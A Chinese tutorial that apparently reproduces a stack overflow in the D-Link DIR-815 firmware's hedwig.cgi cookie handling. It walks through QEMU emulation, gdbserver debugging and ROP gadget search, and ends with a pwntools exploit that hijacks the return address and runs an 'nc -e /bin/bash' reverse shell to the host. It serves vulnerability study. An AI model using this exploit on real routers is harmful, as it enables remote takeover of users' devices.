固件下载地址
File DIR-815_FIRMWARE_1.01.ZIP — Firmware for D-link DIR-815
binwalk解压固件
binwalk -Me dir815.bin得到文件系统：
查看bin/busybox得知是MIPS32，小端：
使用qemu-system-mipsel从系统角度进行模拟，就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载：
Index of /~aurel32/qemu
因为是小端，这里直接选择mipsel，然后下载其中两个文件：
debian_squeeze_mipsel_standard.qcow2是文件系统，vmlinux-3.2.0-4-4kc-malta是内核镜像。
然后编辑qemu启动脚本start.sh：
sudo qemu-system-mipsel \-M malta \-kernel vmlinux-3.2.0-4-4kc-malta \-hda debian_squeeze_mipsel_standard.qcow2 \-append "root=/dev/sda1 console=tty0" \-net nic \-net tap \-nographic \启动后输入用户名/密码 root/root或user/user即可登录qemu模拟的系统。
接下来在宿主机创建一个网卡，使qemu内能和宿主机通信。
安装依赖库：
sudo apt-get install bridge-utils uml-utilities在宿主机编写如下文件保存为net.sh并运行：
sudo sysctl -w net.ipv4.ip_forward=1sudo iptables -Fsudo iptables -Xsudo iptables -t nat -Fsudo iptables -t nat -Xsudo iptables -t mangle -Fsudo iptables -t mangle -Xsudo iptables -P INPUT ACCEPTsudo iptables -P FORWARD ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADEsudo iptables -I FORWARD 1 -i tap0 -j ACCEPTsudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPTsudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0可以使用ifconfig命令检查是否配置成功：
然后配置qemu虚拟系统的路由，在qemu虚拟系统中编写net.sh并运行：
#！/bin/shifconfig eth0 192.168.100.2 netmask 255.255.255.0route add default gw 192.168.100.254在qemu虚拟系统中使用ifconfig命令查看eth0地址是否更改为192.168.100.2：
此时宿主机应该可以和qemu虚拟系统互相ping通了：
随后使用scp命令将binwalk解压出来的squashfs-root文件夹上传到qemu系统中的/root路径下：
scp -r squashfs-root/ root@192.168.100.2:/root然后在qemu虚拟系统中将squashfs-root文件夹下的库文件替换掉原有的，此操作会改变文件系统，如果不小心退出了虚拟系统，再次启动qemu时会失败，原因是因为改变了文件系统的内容。此时需要使用新的文件系统，因此在此操作之前可以先备份一份。编写auto.sh并执行：
cp sbin/httpd /cp -rf htdocs/ /rm -rf /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so /lib/cp lib/libcrypt-0.9.30.1.so /lib/cp lib/libc.so.0 /lib/cp lib/libgcc_s.so.1 /lib/cp lib/ld-uClibc.so.0 /lib/cp lib/libcrypt.so.0 /lib/cp lib/libgcc_s.so /lib/cp lib/libuClibc-0.9.30.1.so /lib/cd /ln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgi接下来在qemu虚拟系统的根目录（ / ）下，创建一个名为conf的文件，此文件是httpd服务的配置文件。内容如下：
Umask 026PIDFile /var/run/httpd.pidLogGMT On #开启logErrorLog /log #log文件Tuning{ NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60}Control{ Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } }}Server{ ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth0 #网卡 Address 192.168.100.2 #qemu的ip地址 Port "4321" #对应web访问端口 Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } }}最后启动httpd服务：
./httpd -f conf在宿主机浏览器中访问hedwig.cgi服务：
这里访问失败是因为hedwig.cgi服务没有收到请求，需要提前配置qemu虚拟环境中的REQUEST_METHOD等方法，因为httpd是读取的环境变量，这里就直接通过环境变量进行设置：
export CONTENT_LENGTH="100"export CONTENT_TYPE="application/x-www-form-urlencoded"export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"export HTTP_COOKIE="uid=1234"这里在qemu虚拟系统中运行hedwig.cgi，再次访问http://192.168.100.2:4321/hedwig.cgi就可以正常收到内容了：
以上整个过程就是环境搭建部分，接下来就是使用gdbserver对hedwig.cgi进行调试了。
需要在宿主机使用异构的gdb，在qemu虚拟系统中使用gdbserver来调试程序。首先在宿主机安装异构的gdb：
sudo apt install gdb-multiarch然后在下面网址下载编译好的异构gdbserver，直接传到qemu虚拟系统中，或者自己在gdb官网下载源码交叉编译也行：
embedded-tools/binaries at master · rapid7/embedded-tools
gdbserver的用法如下：
./gdbserver 远程gdb的IP:port ./test例如这里是用的：
./gdbserver 192.168.100.254:8888 /htdocs/web/hedwig.cgi最后在宿主机使用gdb-multiarch进行远程调试即可：
因为hedwig.cgi是集成到cgibin中的，所以只需要将cgibin文件放到IDA中分析就行。通过查找资料和分析得知，程序的溢出点和HTTP_COOKIE字段有关。通过查找字符串引用，在IDA中查看伪代码如下：
它存在于sess_get_uid函数，getenv获取变量信息，因此可以通过设置全局变量来控制此参数。查看sess_get_uid函数的引用，在hedwigcgi_main函数中找到如下内容：
此处值得注意的是sprintf将string和字符串拼接，放入到v27变量中，并未对长度进行检查。接下来尝试打开文件/var/tmp/temp.xml，如果不存在就跳转到退出函数，如果文件存在，则顺序执行到以下代码：
此处的sprintf也未对长度进行检查，输入超长的字符串会发生栈溢出。使用如下调试脚本进行环境变量的设置，并启动调试端口：
#!/bin/bashexport CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi使用gdb-multiarch远程调试，断在hedwig_cgi函数的返回地址，可以观察到s0-s7寄存器被我们的输入控制，如下：
最后看到控制了s0-s7，并且控制了ra寄存器，即控制了返回地址，依照我们上面调试脚本输入的内容，得知填充长度为1009即可控制返回地址：
目的是为了劫持返回地址，调用libc中的system。但为了避免cache incoherency机制，这里使用system构造反弹shell，而非直接调用shellcode。首先要确定可以调用system的libc，使用vmmap查看得知为libc.so.0：
复制以下代码到ida的plugins目录中，并命名为mipsrop.py：
https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py
修改82行from shims import ida_shims为import ida_shims
复制以下代码到ida的plugins目录中，并命名为ida_shims.py：
import idcimport idaapitry: import ida_bytesexcept ImportError: ida_bytes = Nonetry: import ida_nameexcept ImportError: ida_name = Nonetry: import ida_kernwinexcept ImportError: ida_kernwin = Nonetry: import ida_naltexcept ImportError: ida_nalt = Nonetry: import ida_uaexcept ImportError: ida_ua = Nonetry: import ida_funcsexcept ImportError: ida_funcs = Nonedef _get_fn_by_version(lib, curr_fn, archive_fn, archive_lib=None): if idaapi.IDA_SDK_VERSION >= 700: try: return getattr(lib, curr_fn) except AttributeError: raise Exception('%s is not a valid function in %s' % (curr_fn, lib)) use_lib = lib if archive_lib is None else archive_lib try: return getattr(use_lib, archive_fn) except AttributeError: raise Exception('%s is not a valid function in %s' % (archive_fn, use_lib))def print_insn_mnem(ea): fn = _get_fn_by_version(idc, 'print_insn_mnem', 'GetMnem') return fn(ea)def print_operand(ea, n): fn = _get_fn_by_version(idc, 'print_operand', 'GetOpnd') return fn(ea, n)def define_local_var(start, end, location, name): fn = _get_fn_by_version(idc, 'define_local_var', 'MakeLocal') return fn(start, end, location, name)def find_func_end(ea): fn = _get_fn_by_version(idc, 'find_func_end', 'FindFuncEnd') return fn(ea)def is_code(flag): fn = _get_fn_by_version(ida_bytes, 'is_code', 'isCode', idaapi) return fn(flag)def get_full_flags(ea): fn = _get_fn_by_version(ida_bytes, 'get_full_flags', 'getFlags', idaapi) return fn(ea)def get_name(ea): fn = _get_fn_by_version(idc, 'get_name', 'Name') if idaapi.IDA_SDK_VERSION > 700: return fn(ea, ida_name.GN_VISIBLE) return fn(ea)def get_func_off_str(ea): fn = _get_fn_by_version(idc, 'get_func_off_str', 'GetFuncOffset') return fn(ea)def jumpto(ea, opnum=-1, uijmp_flags=0x0001): fn = _get_fn_by_version(ida_kernwin, 'jumpto', 'Jump', idc) if idaapi.IDA_SDK_VERSION >= 700: return fn(ea, opnum, uijmp_flags) return fn(ea)def ask_yn(default, format_str): fn = _get_fn_by_version(ida_kernwin, 'ask_yn', 'AskYN', idc) return fn(default, format_str)def ask_file(for_saving, default, dialog): fn = _get_fn_by_version(ida_kernwin, 'ask_file', 'AskFile', idc) return fn(for_saving, default, dialog)def get_func_attr(ea, attr): fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionAttr') return fn(ea, attr)def get_name_ea_simple(name): fn = _get_fn_by_version(idc, 'get_name_ea_simple', 'LocByName') return fn(name)def next_head(ea, maxea=4294967295): fn = _get_fn_by_version(idc, 'next_head', 'NextHead') return fn(ea, maxea)def get_screen_ea(): fn = _get_fn_by_version(idc, 'get_screen_ea', 'ScreenEA') return fn()def choose_func(title): fn = _get_fn_by_version(idc, 'choose_func', 'ChooseFunction') return fn(title)def ask_ident(default, prompt): fn = _get_fn_by_version(ida_kernwin, 'ask_str', 'AskIdent', idc) if idaapi.IDA_SDK_VERSION >= 700: return fn(default, ida_kernwin.HIST_IDENT, prompt) return fn(default, prompt)def set_name(ea, name): fn = _get_fn_by_version(idc, 'set_name', 'MakeName') if idaapi.IDA_SDK_VERSION >= 700: return fn(ea, name, ida_name.SN_CHECK) return fn(ea, name)def get_wide_dword(ea): fn = _get_fn_by_version(idc, 'get_wide_dword', 'Dword') return fn(ea)def get_strlit_contents(ea): fn = _get_fn_by_version(idc, 'get_strlit_contents', 'GetString') return fn(ea)def get_func_name(ea): fn = _get_fn_by_version(idc, 'get_func_name', 'GetFunctionName') return fn(ea)def get_first_seg(): fn = _get_fn_by_version(idc, 'get_first_seg', 'FirstSeg') return fn()def get_segm_attr(segea, attr): fn = _get_fn_by_version(idc, 'get_segm_attr', 'GetSegmentAttr') return fn(segea, attr)def get_next_seg(ea): fn = _get_fn_by_version(idc, 'get_next_seg', 'NextSeg') return fn(ea)def is_strlit(flags): fn = _get_fn_by_version(ida_bytes, 'is_strlit', 'isASCII', idc) return fn(flags)def create_strlit(start, lenth): fn = _get_fn_by_version(ida_bytes, 'create_strlit', 'MakeStr', idc) if idaapi.IDA_SDK_VERSION >= 700: return fn(start, lenth, ida_nalt.STRTYPE_C) return fn(start, idc.BADADDR)def is_unknown(flags): fn = _get_fn_by_version(ida_bytes, 'is_unknown', 'isUnknown', idc) return fn(flags)def is_byte(flags): fn = _get_fn_by_version(ida_bytes, 'is_byte', 'isByte', idc) return fn(flags)def create_dword(ea): fn = _get_fn_by_version(ida_bytes, 'create_data', 'MakeDword', idc) if idaapi.IDA_SDK_VERSION >= 700: return fn(ea, ida_bytes.FF_DWORD, 4, idaapi.BADADDR) return fn(ea)def op_plain_offset(ea, n, base): fn = _get_fn_by_version(idc, 'op_plain_offset', 'OpOff') return fn(ea, n, base)def next_addr(ea): fn = _get_fn_by_version(ida_bytes, 'next_addr', 'NextAddr', idc) return fn(ea)def can_decode(ea): fn = _get_fn_by_version(ida_ua, 'can_decode', 'decode_insn', idaapi) return fn(ea)def get_operands(insn): if idaapi.IDA_SDK_VERSION >= 700: return insn.ops return idaapi.cmd.Operandsdef get_canon_feature(insn): if idaapi.IDA_SDK_VERSION >= 700: return insn.get_canon_feature() return idaapi.cmd.get_canon_feature()def get_segm_name(ea): fn = _get_fn_by_version(idc, 'get_segm_name', 'SegName') return fn(ea)def add_func(ea): fn = _get_fn_by_version(ida_funcs, 'add_func', 'MakeFunction', idc) return fn(ea)def create_insn(ea): fn = _get_fn_by_version(idc, 'create_insn', 'MakeCode') return fn(ea)def get_segm_end(ea): fn = _get_fn_by_version(idc, 'get_segm_end', 'SegEnd') return fn(ea)def get_segm_start(ea): fn = _get_fn_by_version(idc, 'get_segm_start', 'SegStart') return fn(ea)def decode_insn(ea): fn = _get_fn_by_version(ida_ua, 'decode_insn', 'decode_insn', idaapi) if idaapi.IDA_SDK_VERSION >= 700: insn = ida_ua.insn_t() fn(insn, ea) return insn fn(ea) return idaapi.cmddef get_bookmark(index): fn = _get_fn_by_version(idc, 'get_bookmark', 'GetMarkedPos') return fn(index)def get_bookmark_desc(index): fn = _get_fn_by_version(idc, 'get_bookmark_desc', 'GetMarkComment') return fn(index)def set_color(ea, what, color): fn = _get_fn_by_version(idc, 'set_color', 'SetColor') return fn(ea, what, color)def msg(message): fn = _get_fn_by_version(ida_kernwin, 'msg', 'Message', idc) return fn(message)def get_highlighted_identifier(): fn = _get_fn_by_version(ida_kernwin, 'get_highlight', 'get_highlighted_identifier', idaapi) if idaapi.IDA_SDK_VERSION >= 700: viewer = ida_kernwin.get_current_viewer() highlight = fn(viewer) if highlight and highlight[1]: return highlight[0] return fn()def start_ea(obj): if not obj: return None try: return obj.startEA except AttributeError: return obj.start_eadef end_ea(obj): if not obj: return None try: return obj.endEA except AttributeError: return obj.end_eadef set_func_flags(ea, flags): fn = _get_fn_by_version(idc, 'set_func_attr', 'SetFunctionFlags') if idaapi.IDA_SDK_VERSION >= 700: return fn(ea, idc.FUNCATTR_FLAGS, flags) return fn(ea, flags)def get_func_flags(ea): fn = _get_fn_by_version(idc, 'get_func_attr', 'GetFunctionFlags') if idaapi.IDA_SDK_VERSION >= 700: return fn(ea, idc.FUNCATTR_FLAGS) return fn(ea)之后在idapython输入框中输入：
import mipsropmipsrop = mipsrop.MIPSROPFinder()然后输入mipsrop.find("")即可查询可用的gadget：
根据《揭秘家用路由器0day漏洞挖掘技术》一书的方法：先将 system 函数的地址 -1 传入某个寄存器中，之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system地址恢复，因此我们查找addiu $s0,1指令，选用gadgets：0x158c8
这个gadget可以将s0赋值为system函数地址。现在我们还需要找到给system函数传参的gadget。利用mipsrop.stackfinder，选用gadget：0x159cc。因为其既可以跳转至system函数，又可以通过s5给system函数传参：
有了上面两个gadget之后，整体流程如下：
system函数地址，跳转至s5）exp如下：
from pwn import *context.endian = "little"context.arch = "mips"base_addr = 0x77f34000system_addr_1 = 0x53200-1gadget1 = 0x158c8gadget2 = 0x159cccmd = 'nc -e /bin/bash 192.168.100.254 9999'padding = 'A' * 973padding += p32(base_addr + system_addr_1) # s0padding += 'A' * 4 # s1padding += 'A' * 4 # s2padding += 'A' * 4 # s3padding += 'A' * 4 # s4padding += p32(base_addr+gadget2) # s5padding += 'A' * 4 # s6padding += 'A' * 4 # s7padding += 'A' * 4 # fppadding += p32(base_addr + gadget1) # rapadding += 'B' * 0x10padding += cmdf = open("context",'wb')f.write(padding)f.close()运行exp生成context，将congtext上传，然后运行hedwig.cgi服务：
#!/bin/bashexport CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="uid=`cat context`"export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi#echo "uid=4321"|/htdocs/web/hedwig.cgi最后可以在宿主机可以得到一个qemu虚拟系统的shell：
复现过程主要难点在于环境搭建、仿真模拟，由于没有硬件设备，通过仿真只能模拟出部分功能。我试了很多方式，比如像FirmAE和Firmadyne，或者是自己构建的docker镜像、openwrt虚拟机，都不是很好用，中途遇到无数多的问题不得不放弃这些方法，最后选择这种手动模拟的方式，这种方式应该适用于多数要求不是很高的模拟场景。
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